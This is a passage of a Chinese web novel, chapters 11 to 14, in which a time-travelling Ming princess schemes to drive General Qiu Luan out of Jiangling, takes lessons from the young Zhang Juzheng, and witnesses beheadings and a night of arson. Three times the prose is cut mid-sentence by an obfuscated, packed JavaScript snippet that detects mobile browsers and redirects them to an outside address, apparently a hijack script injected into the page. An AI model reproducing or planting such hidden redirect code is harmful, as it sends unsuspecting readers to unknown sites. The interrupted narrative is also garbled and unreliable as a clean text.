“你这小孩儿说话倒不客气。”瓜皮帽哈哈一笑,“还引荐,你以为自己是谁?” 连嬅不以为忤,她抬起头,直视着瓜皮帽的眼睛,笃定地说:“三日之内,必退仇鸾。” 11. 第 11 章 连嬅是一个不怎么规划未来的人,她穿越过来好些天,甚至连门都几乎没出过。这种性格说好听点叫随遇而安,说难听点就是得过且过。 嘉靖十八年,在她眼里只是一个很普通的时间点。土木堡之变已是很遥远的过去,而李自成攻入北京又似乎在更遥远的未来。甚至那位后来祸及天下的奸相严嵩,此时也尚未踏入内阁的大门。现在不就是天下太平,百姓安居乐业的时候吗? 有人称这段时期为嘉靖中兴。尽管赋税繁重,天灾频发,贫民生活困苦,但哪一朝哪一代不是这样?生存在这片土地上的百姓早就已经习惯了忍耐。 生命总是如野草般顽强,王嬷嬷和李奶媪不也熬过来了? 现在她亲眼见识到了什么叫人命如草芥。 穿着威风的布甲的军兵拔出解首刀,在那些面无人色,哀哀求饶的流民脖颈处一划,就像切豆腐一样,人首一分为二,头颅滚滚落地。他们断裂的脖颈处骤然腾起的血柱,或许就是这辈子能发出的最大的声音了。 有人收起刀抱怨:“不是说三十个人头一两银子,他娘的怎么一个铜子儿没看见?” 这是多么荒谬的中兴。 可仇鸾如果真是为朱连嬅来的,那这里所有人的死,都和她脱不了干系。 三个军汉被这句不知天高地厚的“军令状”逗得大笑,看看眼前这黄口小儿,身长不足五尺,瘦弱得像个鸡崽子,毛还没长齐,倒是挺会说漂亮话。 络腮胡笑完,喝了口茶汤:“小兄弟勇气可嘉,可惜哥几个自己都见不到仇大将军,上哪去给你引荐?” 事情果然不会这么顺利。 “那敢问仇将军平日会去哪些地方?几时出卫所?几时回卫所?” 穿青袍的问:“你找上去送死吗?” 连嬅仰起头反问:“诸位坐在这里喝茶,难道就能喝走仇鸾?” 这句话听起来多少带点挑衅。络腮胡把茶碗往桌上一磕,捋捋袖口,一副要动手的样子:“我兄弟好心提醒你,你别不识好歹。” “仇将军不住卫所。”瓜皮帽拦住了正要起身的同伴,冷声道,“他在城西别苑。” 城西,这是个范围很大的地名。倘若仇鸾住在最西边,那连嬅就得靠两条腿横穿县城。 但不管怎么说,有一点方向也是好的。 连嬅拜揖道谢,正要起身离开,瓜皮帽却给她扔了个东西。 木制的短柄磨得很光滑,整体还不到连嬅这具身体的小臂长,刀身平直,前端微翘,是一把可以藏在袖中的匕首。 “此刃可用于自裁。”瓜皮帽打量着她,“你这皮看着就嫩,估计扒起来受罪。” 连嬅微愣,随即意识到这几个人大概以为她要当荆轲。但她的确需要防身的武器,有一把匕首也能多一点底气。 她把匕首收入袖中,躬身长揖:“多谢军爷,小人告辞。” 时间太晚了,她得先回张府。 仇鸾这几天日子过得相当煎熬。尽管他住着豪宅、喝着美酒,又有佳人相伴,但这丝毫缓解不了他热锅蚂蚁般的焦躁。 他派人把江陵县几乎所有流浪乞儿都带到府上,然后让皇长女身边的道童思危挨个辨认,得到的答案只有“不是”。 一个大活人,怎么会凭空失踪呢? 除非已经死了。 他的一位心腹侯荣说:“江陵多流匪,殿下说不定是被掳上山了。将军不若上山找找?” 另一位心腹时义则出了个点子:“倘若是被掳走的,只怕殿下凶多吉少。这山上地势复杂,将军虽然不怕几个区区流寇,可也难免损耗兵力。倒不如引蛇出洞,将其一网打尽。” “此计甚妙。”仇鸾点头赞许,“可要怎么把人引下来呢?” 仇鸾在计划找人,连嬅也在计划找人。 三天时间,要怎么把仇鸾从江陵送走?她最开始的构想非常简单,拢共分为三步:第一步,见到仇鸾;第二步,亮明身份;第三步,让仇鸾送她回承天府。真正实施起来,就好像把大象装进冰箱一样毫无可行性。 首先,她很难见到仇鸾,更被说接近。 仇大将军是个很怕死的人,他出门起码要带四五十个家丁前后左右护卫。如果连嬅多长个三五岁,在仇鸾出府的必经之路转一转,或许会因为漂亮的脸蛋被仇将军掳进后院,可她只是个未满十二周岁的丫头片子。 其次,谁知道暗地里的黑手有没有跟着仇鸾一起来江陵?她如果当街拦驾,自陈身份,会不会飞来一箭,或者大半夜再来一把火,直接意外死亡? 她不仅要见仇鸾,还不能光明正大地见。 ——也许张居正会有办法?别的不说,他肯定认识有资格面见仇鸾的人。 但是这个想法只是在大脑皮层绕了一圈,就被连嬅锁起来了。 一滩浑水,她自己还分不清楚东南西北,再把张居正拉进来……万一出了什么意外,大明朝可以提前六十年埋了。 “我脸上有字?”张居正讲完了《太宰》,发现学生正撑着头盯着他发呆,完全没看书。 连嬅立刻恢复正襟危坐状态,假装刚刚魂游天外的人不是她:“没有。” “看来你是学有余力,不如今天就把第一卷全讲了。”张居正微垂眼睑,漫不经心地说。 不要啊张老师!我再也不敢走神了! “这、这不好吧……” “哪里不好?”张居正合上书,放在一旁,“你不是记得挺快的?” 连嬅觑着他的脸色,小心地说:“公子明年应乡试——” 张居正盯了她一眼。 这话有什么不对?连嬅和他对视一秒,从善如流地换了称呼:“兄长明年应乡试,学业忙碌。妹妹愚钝,何必在我身上浪费太多时间?” “你觉得这是浪费时间?” 难道不是吗?周朝的士大夫们用什么官制,什么组织结构,和她一个身处明代,这辈子也当不了官的女子有什么关系? ——感觉还不如研究下怎么调整肥皂配方。 想是这么想,但男神愿意给她当临时家教,别说《周礼》了,就是讲什么女四书——嗯,那可以左耳进右耳出,静静欣赏美色。 但是后来张居正当上首辅,李太后还真委托他给小皇后写了《女诫直解》。操劳国事已经够心累了,还整一堆杂务,真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736934|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逮着人往死里用…… “说话,别发呆。”张居正敲敲桌面。 连嬅回过神,含含糊糊地说:“只怕耽误兄长的乡试。” 虽然你肯定能考中。 “借口。”张居正面无表情地说,“你只是觉得《周礼》无趣,不如你的《鲁老爷漂流记》和《射雕英雄传》。” …… 张居敬你这小兔崽子!搞背刺是吧! “这两本书你哪里看的?” “呃,一位云游方士所赠。” “是吗……”张居正沉吟片刻,问她,“读完可有何心得?” 啊?这还要写读后感? 《鲁滨逊漂流记》是小学六年级必读书目,她还真写过八百字读后感。不过《射雕英雄传》属于上大学时无聊看的,看完只对那句“侠之大者,为国为民”印象深刻。 张居正肃容正色,问得更直白了:“你怎么看海禁?怎么看鞑靼和女真?” ……啊? 这两本书是讲这个的吗? 男神你的政治敏感度有点太高了吧? 但是仔细想想,好像又真有点影射。 怎么看海禁?历史的教训告诉我们,闭关锁国严重阻碍了对外贸易的发展,阻碍了文化与科技的交流,属于抱残守缺,作茧自缚。至于鞑靼和女真,如果不是大明自己乱了,靠着红夷大炮还是能打的——前提是守好技术壁垒,别给人偷学了。 “妹妹愚见,海禁属于因噎废食,弊大于利。如果能培养出一支强大的海军,对外贸易赚来的银子会数倍于支出。至于鞑靼和女真,杀是杀不完的,不如想想怎么压制和共存。” ——比如你和高拱一起推进的封贡互市。 张居正神色怅然:“可这些都需要钱。” 战船需要钱,军队需要钱,想要有压制外族的强大力量更需要钱。 而大明现在的经济状况,只能说很不乐观。 连嬅小声嘀咕:“道长少修几个殿就能省不少。” “你说什么?” “没什么。”连嬅乖巧微笑,“今天还要讲《小宰》吗?” 张居正摇摇头,看她的目光很温和:“我猜你从前学过《周礼》了。” 诶? “张罗山老先生是礼学大儒,他为皇长女授课,你跟在旁边应该听了不少。” “这些话也是他的指点吧?” 罗山是张孚敬的号。他的确是礼学大儒,是在“大礼议”时搬出前朝旧例和祖训,成功驳倒当时以内阁首辅杨廷和为代表的旧臣们,捍卫了嘉靖喊亲爹叫爹的权利的人。 但朱连嬅上的是青词课——虽然是夹带私货的青词课,但跟礼学真毫不搭边。 “独怜知己少,只见直躬难。”张居正叹口气,“老先生若能还朝就好了。” ……《国朝典故》说得没错,男神你是真喜欢张孚敬啊。 但他已经病死了,就在今年二月初六。 这样的结局在嘉靖朝的首辅里甚至称得上体面。张孚敬之后,夏言被押解进京,弃斩西市;严嵩被抄家问罪,流落街头;急流勇退的徐阶落得二子充军,晚景凄凉。 12. 第 12 章 城西别苑并不在县城最西角,而是府衙西侧独占了一整个杨柳巷的豪华宅院,有里中外三层,园内奇花异草、假山怪石,处处皆景,唯一可惜的是池塘太小,又连日缺雨,仅剩一片浅滩。 杨柳巷因巷口的一大片柳树而得名,时值四月,已是枝繁叶茂,郁郁葱葱。 连嬅穿着那件赵夫人给她新做的豆绿色褶裙,小心地窝在其中一棵树上观察。 她出门匆忙,和隔壁的珍娘串好口供,就直奔城西而来,忘了换衣服。没想到正好成了伪装色,倒是和周围融成一体了。 斜阳晚照下,柳枝和裙摆一起随着风轻飘,如果忽略连嬅窝得发麻的腿,倒有种岁月静好的错觉。 她在树上待了半个多时辰,一直没看见府里有人出来。 这座宅子一共有两道门,除了面朝南方的正门外,西边还开了一道侧门。府里值守的护卫约半个时辰换一次班,多集中在正门处。反正心知肚明出不了什么事,大伙儿该聊天的聊天,该赌钱的赌钱,军容军纪军貌,是看不到一点的。 想进府求见仇大将军的客人却接连不断,多是乡里的缙绅或者有钱的商贾,带着方巾、穿着长袍,给门房塞了钱陪着笑,却没一个能进门的。 等天色渐沉,连嬅找了个空当准备直接摸进别苑,却正好看见一个行迹鬼鬼祟祟的家伙从侧门走出来。 大晚上的,这是要做什么? 她心思一动,决定先尾随看看。 这人埋头往东门走,专挑不起眼的阴暗巷道,时不时左右张望。连嬅一路跟着他,眼见离城门越来越近,等出去了恐怕不好再跟,索性抢先一步,找准时机直接出手。 她个子太矮,没办法直接扣人脖子,只能一脚踢在此人膝弯处。 如果是个普通的十一岁女孩,偷袭一个正常的成年男子,那这一脚除了激怒对方外毫无作用。可连嬅是个力气奇大,上辈子还练过散打的怪人,赤手空拳的情况下,她一个能打三个。 而她偷袭的人显然不是什么练家子,下盘虚软,吃了一记扫堂腿就脸朝下趴倒在地,正要呼救,却被匕首抵住了脖子。 连嬅一把扭过他的手扣在身后,用小腿和右膝盖压住,然后扒了他身上的包袱扔在一边,跪在此人脊背上,确认他动弹不得后,压低了声音警告:“刀上有毒,别动。” 真是倒霉他娘给倒霉开门,倒霉到家了! 时义哆嗦着嗓子,那把带毒的匕首离他的脖子只有一公分,说不定一个手抖就得划上去。 他现在只恨自己多嘴,说什么引蛇出洞,结果作茧自缚成了被派去引蛇的老鼠。仇将军担心招人耳目,让他秘密行动,只给他派了个打手当车夫,还在城门外百八十米的地方,结果在城里就遭了灾。 “好汉饶命!小人包袱里还有一百两白银……” 他想让人被那一百两银子吸引注意力,再伺机暴起,可惜计划失败。 贼人无动于衷,还把刀挨得更近了:“老子问什么你答什么,别多嘴。” “是是是,这刀……” “你叫啥,住哪里?” “小人姓时名义,是仇将军府上幕僚,现住城西杨柳巷别苑。” 这个名字听着竟然有几分耳熟。连嬅检索了两秒,想起这是嘉靖二十九年庚戊之变前,仇鸾派出去贿赂鞑靼部落首领俺答,让他们不要进攻大同的人。结果俺答绕过大同直杀到北京,逼迫明朝廷签订城下之盟。 这片刻的沉默大概被时义当做了贼人对他身份的畏怯,他感觉自己趴在地上的腰杆又挺直了,连那把抵着脖子的毒刃也显得不那么致命了。 时义重新恢复了底气,他试图恐吓:“仇将军现领数十万兵马囤于荆州卫,你若杀了我,无异于自寻死路。” 数十万?谁信谁傻子。连嬅冷笑一声:“那你也死在老子前面,少废话!” 荆州卫一共分左右前中后五个所,一所1120人,拢共也就5600人,到了明中后期,由于过度压榨,政治腐败,拖欠军饷等问题,大量军户逃籍,导致卫所严重缺额。 仇鸾的军队要是都屯于荆州卫,有个两三千就不错了。再多了,荆州卫住得下吗? “你说你是仇鸾的幕僚,仇鸾派你出城做什么?” “这……” 连嬅压在他脊柱上的膝盖更加用力,听见他痛呼时稍微松了半分,匕首直接贴在了时义的咽喉处。 “不想说?” “不不不,小人……小人是替将军出城送信的。” “给谁?” “给……给八岭山的流寇……” 时义想得很简单,仇鸾想得也很简单。贼寇上山不就是为钱为粮吗,他们不仅愿意给钱,还愿意放人在附近劫掠,只要能把皇长女送回来就行。 倘若贼寇劫掠后仍不肯放人,他们就埋伏在附近,来个瓮中捉鳖……倘若这也寻不到,那就只能找几个身形相仿的女童,然后点一把火烧个面目全非,挑个合适的当做是皇女殿下的尸身。 这是期限将近的下下策,这么做,仇鸾自己虽然逃不开护卫不利的大锅,但他完全可以多攀咬几个人下水,比如说一口咬死纵火者是湖广提学官指派的——此人是嘉靖十四年的进士,座主正是内阁首辅夏言。 “哦?”连嬅脑子一转,瞬间给自己写了个剧本,她冷哼一声,“找你爷爷作甚?” 仇鸾认为她被山匪绑架了,她就顺势而为自己绑架自己,不仅能试探仇鸾那边的态度,也不会贸然暴露身份。 说不定还能小发一笔财呢,可不是一箭三雕? 时义惊得一愣。 这贼人就是八岭山的流匪? 早听说荆襄一带匪寇众多,没想到都混到城里来了。 但对他来说,这完全是一桩喜事啊。真可谓踏破铁鞋无觅处,得来全不费工夫。 时义本来雇了辆马车在城外,还专门布置得财大气粗、富贵豪奢,想着专挑小路走,应该能招来流寇。他甚至不能多带几个侍卫,以免人多势众流寇不敢接近。万一出点什么意外,他这条命是难保得住了。 这下子倒是不必冒险了。 可一切如此巧合,又很难不抱有几分疑虑:“好汉是山上下来的?” 连嬅努力入戏,声音低沉中带着点黯然:“仇将军在此地屯兵,我们弟兄不敢贸然下山。现如今存粮也……总得来探探情况。” “好汉大可放心,将军宅心仁厚,是不愿和你们为难的。就是……”时义咽了口唾沫,小心试探,“不知山里近些日子是否来了一位十来岁的女童?” “好像还真有一个十一二岁。”连嬅假装回忆,“长得皮薄肉嫩的。” “对对对!”这下真是天上掉馅饼了,时义激动到险些把脖子撞上刀刃,吓得额头直冒冷汗,“好汉,咱们找个地方聊聊,你们想要什么,小人代将军跟你们谈,这刀能不能……” 连嬅把刀拿远了两公分,语气恶劣:“你要是诓老子呢?就这么谈。” “这个……这个女童身上可有信物?”时义一边在心底咒骂这土匪,一边又怕惹恼了人竹篮子打水一场空,只能委屈求全地说,“小人得带给将军确认。” 朱连嬅浑身上下什么值钱的都没有,硬要说的话,只剩那件白布袍。 虽然看起来朴素得很,其实边角处都是银线勾勒的鸾凤纹。巧的是,她今天还真从上面裁了两块布,一块用来蒙面了,另一块当做备用。 于是她把那块备用面罩从袖子抽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736935|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,扔在时义面前。 “这是她身上的衣服,”连嬅说,“请你们仇将军明日退兵至荆州城东五十里外。” “我们后日酉正,在东门外酒馆见。” 说完,她一个手刀劈向时义的后脑,把人打晕后拎着包裹走了。 这包里除了银子,还有一把铁制的长管。 很沉,也不知道做什么用的。 连嬅把包袱绑在腿上,用裙摆遮掩着悄悄溜回张府。凭她的腿测,什么一百两银子大概是时义瞎编骗她的,这包裹总共也就七八斤的样子,那个铁管至少得占个四五斤。 她绑着宛如沙袋的负重健步如飞,先去了吴珍娘家。拍完门等了五六秒,一个面黄肌瘦、身材高大,胡须蓬乱,穿着麻布直裰,头顶带着毡帽的男人开了门。 他看起来很不耐烦,抬着下巴,又自带一股颓唐的气质:“汝有何事?” 外形有点像范进,神态有点像孔乙己…… 这大概是珍娘那个不着调的赌鬼爹了。 “珍娘在家吗?”连嬅露出纯真腼腆的笑容,“我找她踢毽子。” 吴秀才完全不吃这一套,他皱紧眉头,冷冷地说:“她睡了。” 看天色也才六点多,真能睡这么早吗? 连嬅试图透过门缝往里瞅,什么都没看清呢,门已经“砰”一声在她面前关上了。 这包不义之财最后还是得带回张府。 大门没锁,张居正坐在天井的石桌边看书。 连嬅做贼心虚,不自觉屏住了呼吸,脚步轻轻地打算从墙边绕过去。 “怎么这么晚才回?” 好的,潜行失败。 她站在原地,目光盯着自己的裙摆,冷静地琢磨着:这包袱应该没有突出来吧? “和珍娘出去玩了……” “别跑太远,”张居正并没有盯着小姑娘裙子看的爱好,他只是瞟了一眼,提醒道,“这几天有点乱。” 直到走进耳房,关了门,连嬅终于能松口气,把包袱从腿上卸下来。银子没什么好看的,那个铁管倒是有点意思。她把东西拿出来端详了好一会儿,才恍然大悟:哦,这原来是火铳啊。 一次只能射一发,流程还挺复杂,先放火/药,压实,再放铅/弹,压实,然后击发。射程能有七八十步就不错,离远了神仙也打不中。而且因为铁管质量不太行,还容易炸膛。 这东西拿出来吓唬人估计挺好用,毕竟有光有响,但要说杀伤力多大……一般。 连嬅把火铳藏在床底,思索着后天去哪雇几个群众演员,陪她一起演一出一手交钱一手交货的戏码。 倘若一切顺利的话,她很快就要回承天府去了。到时候自己卖自己换来的钱可以留一些给赵夫人,让她给自己买几身新衣裳,留一些给王嬷嬷存棺材本,给李姐姐治她丈夫腿疾的药钱,再给珍娘一些当嫁妆,不过得防着她爹那个赌鬼…… 最后,剩下的就留给张居正吧。 感谢你的救命之恩,但愿你一切顺利,我会在嘉靖二十六年的北京城等待你进士登科。 好歹她也是皇帝的女儿,赎身银子起码要个一千两吧。多了这么一笔钱,或许张爷爷也不用这么大的年纪还在辽王府当护卫,不会被朱宪节那个人渣害死…… 怀着惆怅又带点期待的情绪,连嬅抱着她的发财梦沉沉睡去。 但意外来得总是那么猝不及防。 半夜三更,杨柳巷城西别苑起火了。 古代的建筑结构,哪怕是砖瓦房也会用到不少木材,一旦着火,就很容易烧成一片。 街巷里响起敲锣打鼓的声音,还有“砰砰砰”砸门的巨响。连嬅被惊醒后很快套了件衣裳,然后把匕首揣进袖子里推开门。 13. 第 13 章 醒得早的王嬷嬷正挨门叫起床,看见连嬅推门出来,忙解释说:“连姑娘,城西起火了,听说有贼人闯进来——” 火,又是火。 连嬅现在已经对半夜起火这种事ptsd了。 她忍不住地阴谋论:这火究竟是冲仇鸾来的?还是冲朱连嬅来的? 毕竟她昨天晚上刚给仇鸾的家仆透了行踪,才过多久城西就意外起火了,这难道能是巧合吗? 院里,觉浅的张镇坐在天井的石桌旁仰头看着天色。西边的天幕被熊熊火焰染成了昏黄色,伴随着火光明灭忽明忽暗。 赵锦灿和张文明夫妻挨着坐在另一边,神色忧惧。陈四在院里踱来踱去,像个无头苍蝇。抱着小孩的李惠芹匆忙走出房间,怀里的张居易似乎被声音惊醒了,吓得一直啼哭。最后走到天井的是牵着弟弟出门、正在单手扣外袍里扣的张居正。 连嬅捏紧匕首,深呼吸一口气,感觉自己的心跳在不受控制地加快。 谁放的火?火烧到哪里去了?纵火的有多少人?他们的目的是什么? 一家子六神无主,只有张居正还算镇定:“竹梯放哪了?搬出来我上去看看。柴房里的长木棍也拿出来,一人一根。” “我去看吧。”连嬅自告奋勇。说完也不等回应,跑到院墙边蹬壁跃起,单手抓住墙沿后双手撑墙,整个人爬上了墙顶。 “你——”张居正制止的话还没出口,就看见她沿着院墙跳到了正屋的屋脊。 这段飞檐走壁般的杂技表演,倒是把院里的压抑气氛冲淡不少。张镇年轻时做过游侠,浪迹江湖结交各路英雄好汉无业游民,如今年老力衰,看见连嬅的蹬墙功还是情不自禁击了一掌:“好身手。” 张居敬这小孩更是看得眼睛都亮了,拽着他哥的袖子嚎:“哥,我也想学!” 赵夫人惊完又皱紧了眉头,她仰头看着屋顶的方向,焦虑又担忧:“这孩子真是,别摔了。” 在没有高楼大厦的明代,除非家里地势太低,不然站在屋顶上完全等于登高望远,整个县城一览无余。 西边杨柳巷的方位烧得最为热烈,自东而西刮起的阵阵夜风更让大火一路朝西蔓延。远远地,在火光映照下能看到一大片攒动的人头,不知道是来救火的百姓还是来□□的流寇。 张居正顺着竹梯也爬上了屋顶,他观察了几秒火势,神色沉沉,下了结论:“这火一时半会儿灭不了,至少得烧到后半夜。” “为什么?衙门里没人扑火吗?”连嬅问。 “烧得太大了,这个时辰未必有衙役愿意来扑火。而且,”他顿了顿,无奈地说,“县里没几口井。” 不仅仅是江陵县,荆襄一带都缺井。上一任湖广巡抚顾璘曾拨白银八万两,责成水利部门治理,然而收效甚微。这八万两最后花在哪里,落进了谁的口袋,亦不得而知。 “那我也去救火!” 连嬅打定了主意,本想直接往下跳,然而被张居正拽住了命运的后脖领。 “你是哪里长出来的一身狗胆?” 蹿墙爬屋顶也就罢了,现在外面形势不明,说不定还有流寇逃窜,她一个十岁出头的小女孩,从城北跑去城西救火? 可连嬅扭过头时,张居正第二次看见了她眼里的泪光。 不同于那天早上刻意捏出来的楚楚可怜,她眼眶通红,神色哀恸,一边吸鼻子一边流眼泪,看起来狼狈极了。 她的声音在风里颤抖着:“万一……万一和我有关系呢?” 仇鸾带来的兵不知道杀了多少流民,这一场大火又不知道会烧死多少百姓,毁掉几间屋舍,几个家庭……若干年后,这些不配留下姓名的小人物,或许会化成几个冷冰冰的数字,被记录在县志里,也或许被彻底掩去,失去所有存在过的证据。 城门失火,殃及池鱼;神仙打架,凡人遭殃。自古以来都是如此,有谁在意被牵连的倒霉鬼怎么想?可那是活生生的人命啊,他们也是爹生娘养的……凭什么他们的命就那么不值钱呢? 倘若她没有来江陵,倘若她干脆死在疟疾里,他们本来不该遭此横祸的…… 张居正冷声问:“你放的火?” 连嬅沉默,然后摇头。 他又问:“你指使人放的火?” 连嬅流着泪摇头。 “那你在胡思乱想什么?”他的声音柔和下来,介于低哑和明亮之间的音色听起来格外温暖。拽着连嬅后脖领的手向上揉了揉她的脑袋,然后收回:“这里风大,我们下去吧。” 张居正先下梯子,连嬅跟在他身后,低着头垂泪。她怕被赵夫人他们发现,不敢出声,也不敢伸手抹泪,想着城西的大火,想着迟迟不去的仇鸾,想着接下来不知道还要死多少人,哭得不能自己。 “火在往城西烧,暂时到不了我们这儿。贼寇人数不多,我们暂时别出门,守在家里就好。”张居正冷静地判断道,“有什么柴刀长棍的都放在院里趁手的地方,如果听见大批人接近的脚步声,情况不对就带上武器往东门跑。” 他说完,顿了顿:“我得去县衙一趟。” 杨柳巷不就在县衙的西侧吗!连嬅猛一抬头,死死拽紧张居正的袖子,不顾自己的声音还在哽咽:“你别过去……” 但张居正决定好的事,这个家里没有人能反驳。哪怕是张文明和张镇,也只是沉默片刻,叹口气。 张文明说:“你想清楚了,那就去吧,注意安全。” 赵锦灿纵有一千一万个担忧和不舍得,也反驳不了丈夫,更拗不过儿子。 转瞬之间,这个家竟然只剩连嬅一个人反对这荒唐的决定:“不行!你去县衙做什么?” 但她显然更没有立场阻止张居正,于是只能退一步:“我跟你一起去。你要是不许,我就偷偷跟着。” 江陵县是荆州府首邑,明代没有市的概念,府衙与县衙都坐落于县城。荆州府衙居于正中,而江陵县衙位置偏北。 原荆州知府李士翱因圣驾南巡时协调后勤工作妥善,得到吏部推举,又有皇上赏赐,已调职为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736936|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承天府知府,眼见得仕途坦荡,升迁在望,却苦了荆州几乎半个月没有知府。 本来议定补缺的新任府台迟迟未至,身为副手的府同知因事被临时调往武昌府,府通判又在枝江县监察粮运,偌大的荆州府衙,竟然群龙无首。 夜半三更,皂隶、门子、扫夫这些本地人早就各自回了家,一见烧起火来更不敢靠近衙署。荆州府衙的胥吏这些日子无人看管,连按时上值的都少,更不用说半夜跑来衙门处理起火案。 县衙的情况也好不到哪里去。衙署内一片漆黑,门口只有县令自己家的马夫在看守。 有两个胆子大的流寇拿着石块砸县衙大门,马夫吓得把门房里的杂物都往门口堆。府内的女眷们从没见过这架势,听见有人砸门惊声尖叫。江陵县的父母官同样惊慌失措,把住在衙门里的幕僚们聚集起来,试图商讨一个临时对策。 然而很快,门口响起几声惨叫,继而砸门的声音也消失了,似乎流寇已被赶走。马夫鼓起勇气,战战兢兢地问:“敢问门外是哪位壮士?” 一棍子打跑两个的连嬅深藏功与名,站在张居正身后当哑巴,视线一直朝火势蔓延的方向看。 大概城北确实不是匪寇主攻的方向,他们一路走过来,竟然只遇到了三个流窜的乱民,被连嬅利落地一棍子一个,要么打跑要么敲晕了。 张居正原本做好了遇见流寇就拉着孩子赶紧跑的心理准备,结果连嬅出手太过干脆,他甚至还没注意到人是从哪里窜出来的,就已经被解决了。实在难以想象这具纤细得仿佛风一刮就能倒的不到五尺之躯究竟哪里来的力气?而且一根木棍用得如臂使指,宛如她那部武侠小说里描画的“江湖高手”。 察觉到男神微妙的目光,第一次展露身手的连嬅略感委屈:“我都说我力气挺大了,是你不信……” 由于真正出手解围的人迟迟不肯应声,张居正只好自报家门:“在下江陵秀才张居正,求见老父母。” “张相公?”马夫惊呼一声。门里县令也听见了声音,赶忙喊:“快请张相公进来。” 然后一阵兵荒马乱地,终于把堵门的杂物都拖走了,张居正迈过门槛,带着身后的连嬅走进县衙。 秀才有见官不拜的特权,更别说这位张秀才在荆州府大名鼎鼎。两方寒暄后各自落座,没人注意到连嬅这个白身也站得坦坦荡荡,根本没有行礼。 如今县衙里只有县令、县丞、主簿和典吏在,三房六班是一个没有,属于四个空杆司令。 张居正不欲浪费时间,直奔正题:“敢问老父母,可安排了人手灭火?” 县令尴尬地摸摸鼻子:“这个……县衙里实在没人,府衙那边兴许派了人过去……” 谁心里都清楚,那边更不可能派人。 “还请老父母召集本地士绅,调派家仆协助灭火。另外,仇将军应当已遣信于荆州卫,望尽早通知城内百姓紧锁门窗,闭户不出。” 匪过如梳,兵过如篦,仇鸾带的兵只会比放火抢劫的流寇更凶狠。 14. 第 14 章 开会。 连嬅上辈子参加工作最讨厌的内容就是开会。一群人拉拉扯扯踢皮球,半天定不下一个主意,甩锅倒是一个赛一个得快。 县衙里分主次贵贱坐了两排人,全是本地有头有脸的乡绅大族,也有几个比张居正稍大一些的年轻士子。县令做完动员陈词,底下人你一言我一语开始表忠心和卖惨。 其实最紧要的问题只有三个,一个是救火,一个是平乱,一个是怎么处理仇鸾调兵进城之事。 连嬅站在后面听了几耳朵,觉得这会一时半会儿是得不出结论的。她心里焦急得很,拽了拽张居正的衣角,附在他耳边轻声说:“哥,我出去看看。” 此时大约已经到了凌晨四点,东边泛起一抹鱼肚白,新一天的太阳就快照常升起。 幸而起火的只有杨柳巷,也幸而杨柳巷只有这么一座宅院。向外围蔓延的火势基本被扑灭了,而杨柳巷在烧了几个小时后也到了几乎烧无可烧的地步。 别苑自建成之日起大概从来没有这么热闹过。正面的紫檀木院门早被砸坏了,汹涌的人群如浪潮般欢呼着往里挤,仿佛院里有免费鸡蛋可以领。 连嬅本是想来帮忙救火的,却被人潮裹挟着带进了院门内。 就在昨天,这里还是个给门房塞五十两银子也踏不进去的高门,如今却凌乱破败,满地兵荒马乱。院里珍贵的奇花异草多半化成了一样的草木灰,剩下些烧不动的假山怪石,兀自矗立。 这些石头沿着运河被一路护送过来时应当个个价值不菲,但百姓们不认这些,他们只喜欢华丽的、明亮的、看起来就值钱的东西。一看到什么地方有瓷器珠宝之类的,就呼啸着挤成一团抢。 连嬅顺着人流绕了宅院一圈,虽然什么也没拿到,但是深深体会到了什么叫做趁火打劫,什么叫做零元购现场。 带头的几个拿着棍棒刀具的,大约就是领头的贼寇。他们做事还挺讲原则,说仇鸾草菅人命,杀了他们好几个弟兄,故此替天行道,血债血偿,绝不会伤及无辜。院内的金银珍宝,谁抢到算谁的,他们也绝不干涉。 人群又是一阵欢呼叫好,仿佛这群来县里放火做乱的贼子都是什么仁人义士,英雄好汉。 但连钱都不抢,这真是贼的作风吗? 还是说江陵的山贼都被教化了,个顶个高风亮节? 仇鸾不知所踪,他府里的侍卫们也没看见一个,只是时不时会撞见几具烧死的尸体。连嬅好不容易走出了人流,站在巷口往外看时,猛然发现一具倒吊在柳树上的尸体。 皮肤焦黑,脖子只断了一半,还有一半颤巍巍连接着头和身体。撕裂的皮肤下是黑红色的肉,还有滴不尽的、被空气氧化后暗红发紫的血。他的身体和柳枝一起随风轻摆着,每摆动一下都好像要把不堪重负的脖子甩断。 ——是时义。 连嬅扶着墙,弯着腰一阵狂呕。 仇鸾已经连夜撤到了城外荆州卫的营城,他既惊且惧,怒不可遏,原本带在头顶的官帽被风卷走了,甚至连官印都险些在鸡飞狗跳中遗失。 “一群刁民!真是岂有此理!” 贼寇加起来估计不到十人,他府上少说也有一百名护卫,以十敌一,优势在我,竟然被打得大败而逃,简直是奇耻大辱。 